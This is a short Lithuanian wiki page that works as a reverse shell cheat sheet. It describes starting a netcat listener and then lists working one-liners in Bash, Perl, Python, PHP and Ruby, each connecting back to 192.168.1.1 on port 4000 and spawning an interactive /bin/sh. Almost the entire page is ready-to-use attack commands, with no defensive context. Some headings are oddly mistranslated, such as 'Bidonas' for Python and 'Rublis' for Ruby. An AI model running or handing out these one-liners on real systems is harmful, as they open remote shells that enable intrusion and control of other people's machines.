Reverse shellai

Iš Žinynas.
Jump to navigation Jump to search

Koncepcija paprasta, lokaliame kompiuteryje paleidžiamas klausymosi įrankis (šiuo atveju netcat), iš nutolusios mašinos laukiama prisijungimo bei shell redirect'o. Nutolusioje mašinoje išmėginsime įvairius metodus kol gausime tinkamiausią ir veikiantį.

Keletas faktų:

  • Nutolusios mašinos ip: 192.168.1.38
  • Lokalios mašinos ip: 192.168.1.1

Lokalios mašinos paruošimas[keisti]

Paleidžiame netcat (pasiklausymo režimu)

nc -lvp 4000

Nutolusios mašinos reverse shell metodai[keisti]

Bash[keisti]

bash -i >& /dev/tcp/192.168.1.1/4000 0>&1

Perl[keisti]

perl -e 'use Socket;$i="192.168.1.1";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Bidonas (2.7)[keisti]

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Php[keisti]

php -r '$sock=fsockopen("192.168.1.1",4000);exec("/bin/sh -i <&3 >&3 2>&3");' 

Rublis[keisti]

ruby -rsocket -e'f=TCPSocket.open("192.168.1.1",4000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'